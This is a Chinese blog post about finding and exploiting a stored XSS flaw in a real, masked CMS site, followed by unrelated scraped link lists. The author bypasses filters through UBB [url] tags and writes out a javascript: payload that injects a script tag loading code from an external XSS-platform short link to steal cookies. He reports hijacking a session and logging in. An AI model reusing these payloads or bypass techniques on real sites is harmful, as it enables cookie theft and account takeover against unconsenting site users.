一次xss的黑盒挖掘和利用过程
挖掘过程一:
自从上一次投稿,已经好久好久没写文章了。今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得。在我看来。Xss就是javascript注入,你可以在js语法规定的范畴内做任何事情,js可谓强大,本次结合一次挖掘xss的过程和xss的综合利用来探讨,小菜一枚,希望大牛不吝赐教。文章里的网站打码,大家见谅
我们先看看网站
测试储存型xss的话,黑盒测试效果还可以。我们这里不讨论反射型的,反射型的,基本一些扫描工具就可以秒了。当然我们要在我们能看见的任何地方开始狂插,<script>alert(1)</script>.
我们先看看个人资料,
看见这么多地方,我就乐了,心想应该会有戏吧。我们先测试<>这两个符号被过滤没有,全都插上<>试试,看看他服务器怎么处理的
提交后的效果
好像过滤,我们利用生茶元素看看,他变成了什么
呵呵呵,出师不利啊。直接被xxoo了。这里的话<>被过滤了,我们发现代码是<input type="text" maxlength="50" value="<>" name="shenggao">
也就是说,我们提交的内容在value里面,没错,我们可以想着利用"来封闭前后,再里面利用 onclick来执行xss,什么意思呢?就是我们理想情况下构造出
那么我们只要插入" onclick="javascript:alert(1)测试即可。我们接着俩测试一番,可是
死了,全都成中文的了。我们要突破?这时候,我突然想起一件事情来,与其变着法想着怎么突破xss还不如去找管理员疏忽的地方。这个暂且放这里,我暂时试了很多次都突破不了。我们去找找别的地方,看看有没有xss.
很快,我来到了留言的部分,我发现可以写ubb语法,哈哈,什么是ubb语法、大家可以自己扩展,原来程序员开发这个cms的时候为了站长美化版面的自由性。可以让站长自定义一些小小的功能,也就是可以自己编写简单的html代码。
这里举个例子来说吧,ubb和html的区别和转换
ubb版:百度
html版:<a href="http://baidu.com">百度</a>
测试了下果然可以,这下我乐了
我们知道<a href="javascript:alert(1)">百度</a>这样可以弹窗的,于是我们在ubb中该怎么写呢?我们这里组合百度
我们试一试
哈哈,果然如此,我们看看源代码,看看他变成了什么。果然不出所料,变成了
<a href="javascript:alert(1)">百度</a>,一次简单挖掘的过程就到此结束了。我们稍微来总结下,就是buu语法的利用,利用buu和html之间的转换,在文中是,百度,之后变成了<a href="javascript:aler(1)">百度</a>
编码绕过二
竟然有了xss,那么我们第一时间就是打cookie了,当然后面还有个csrf的挂黑页,我打算以后讲,(ps:时间比较少,求管理给个邀请码)。
于是我屁颠屁颠的拿了个xss平台来测试,傻乎乎的填上了代码
但是肯定没卵用,我们可以测试下(大家不要进了误区)
这个肯定不行,为什么呢?我们可以想,如果被解析成html后,那么就成了
<a href="javascript:scr=http://t.cn/RLf6PED">百度</a>,但是我们知道如果他要执行,那么必须是作为js的src的属性值的,也就是必须是这样
<js src=http://t.cn/RLf6PED></js>,那么问题来了,我们怎么构建呢?还好,这时候,xss平台给我一个提示
没错,在你认为可以执行的地方,利用createElemt创建一个便签,就是js,然后再js的标签再给他赋值。跟着这个思路,我们来改写下ubb代码。
[url=javascript:s=createElement('script');body.appendChild(s);s.src=http://t.cn/RLf6PED]百度[/url]。我先自己在ie6的内核下测试了一下
我暂时没想出来,哪里少了个分号。先不管,坛李如果有知道的同学,望告诉我哦。竟然这样,其实还有个问题就是我提交的单引号'也会被过滤。那么,竟然这样的话我,我们可以控制javascript:xxxxxx;那么它里面的字符应该是可以js加密的吧。我跟这这个思路就继续延伸下去。当然我先在本机测试一下,看看行不行,我们先把alert(1)转下码
然后再来试试哈
没有弹窗,这是为什么呢?我的想法是他把它当字符串了,也就是实际成了
<a href="javascript:"alert(1)"">百度</a>。我们直接单刀插入<script>alert(1)</script>,先转下码
再来测试下
离目标近了很多,直接复制代码
所以肯定是拿到cookies了
我们最后构建的payload
其实还可以用<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> base64位(不知道名字记错没),但是打不到cookie,估计是同源什么之类的吧
最后就是登陆咯。
========================================
一次xss的黑盒挖掘和利用过程的更多相关文章
- 记一次电信反射xss的挖掘与利用
0X0.前言 早上起床,打开手机习惯性刷刷新闻,却发现网络无法连接,本以为是光猫出现了问题,后来发现是忘记续费,欠费了. 在网上充值完之后,等了有将近十分钟,网依旧没恢复.随打了个电话给客服,客服在后 ...
- Windows 远程栈溢出挖掘与利用
缓冲区溢出攻击很容易被攻击者利用,因为 C 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中 ...
- 独家分析:安卓“Janus”漏洞的产生原理及利用过程
近日,Google在12月发布的安卓系统安全公告中披露了一个名为"Janus"安卓漏洞(漏洞编号:CVE-2017-13156).该漏洞可以让攻击者绕过安卓系统的signature ...
- 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser
XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...
- PostMessage xss学习和挖掘
PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过.可能境界还不够,有机会再去试试.好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了 ...
- LearnX控件漏洞挖掘与利用
前言 大学英语会用到一个 ActiveX 插件 LearnX ,最近从网上下了一个下来分析了一下,找到了一些漏洞并完成了 exploit . 虽然涉及的知识比较老旧,不过还是挺有意思的.这里分享一下整 ...
- 初级安全入门——XSS注入的原理与利用
XSS的简单介绍 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者 ...
- 雷锋沙龙 ppt 演讲内容分享(xss,流量劫持的利用)
http://www.pkav.net/XSS.png?from=timeline&isappinstalled=0
- Fckeditor常见漏洞的挖掘与利用整理汇总
查看编辑器版本号 FCKeditor/_whatsnew.html ------------------------------------------------------------- 2. V ...
随机推荐
- Visual Studio 2017 远程调试(Remote Debugger)应用
I.远程调试情景 项目部署在远程服务器或非本地环境中,需要 处理应用中遇到的一些错误时 (不能直接附加进程或F5调试应用). II. 远程调试准备 1.远程服务器--操作系统和硬件要求 MSDN 操作 ...
- C++实现顺序查找,折半查找,插值查找
1.顺序查找 从数组起始扫描到数组结尾,判断该索引数组是否和关键字相等,成功返回1 代码如下: //顺序查找 int seqSearch(int *array, int low, int high, ...
- Greenplum表定义
GP中的table和其它关系型数据表是一样的,除了数据被分布在不同的segment以外. 在建表的时候必须申明分布键distribution policy. 建表需定义下面几个方面: 1. 指定列和数 ...
- 吴恩达《深度学习》第二门课(3)超参数调试、Batch正则化和程序框架
3.1调试处理 (1)不同超参数调试的优先级是不一样的,如下图中的一些超参数,首先最重要的应该是学习率α(红色圈出),然后是Momentum算法的β.隐藏层单元数.mini-batch size(黄色 ...
- 移动端的touchstart,touchmove,touchend事件中的获取当前touch位置
前提:touchstart,touchmove,touchend这三个事件可以通过原生和jq绑定. 原生:document.querySelector("#aa").addEven ...
- Jquery 搜索框自动提示
为文本框增加自动提示下拉功能,比如输入 1,则从后台数据库查询出包含1 的字段,在文本框增加下拉列表供用户选择 ajax 返回数据为搜索查询字段的json集合 <script src=" ...
- Spring---AOP与DI的初步理解
依赖注入 依赖注入并没有我们听上去那么复杂,在项目中应用依赖注入,会使代码变的异常简单,更易于理解和测试. 任何一个有实际意义的应用,都是多个类组成,这些类之间相互协作,来实现特定的业务逻辑,通常,每 ...
- SQL空和NULL的区别
1.NULL意思为缺失的值(missing value). 2.三值逻辑(three-valued-logic: TRUE,FALSE,UNKNOWN). 在SQL中有三个逻辑谓词:TURE,FALS ...
- [javaSE] 集合框架(Map概述)
Map集合,将key对象映射到value对象 三个主要的子类:Hashtable,HashMap,TreeMap Hashtable:底层是哈希表数据结构,不允许使用null值,线程同步 HashMa ...
- Java基础教程(1)--概述
一.什么是Java语言 Java是于1996年由Sun公司发布的一种极富创造力的面向对象的程序设计语言.它不仅吸收了C++语言的各种优点,还摒弃了C++里难以理解的多继承.指针等概念,因此Java ...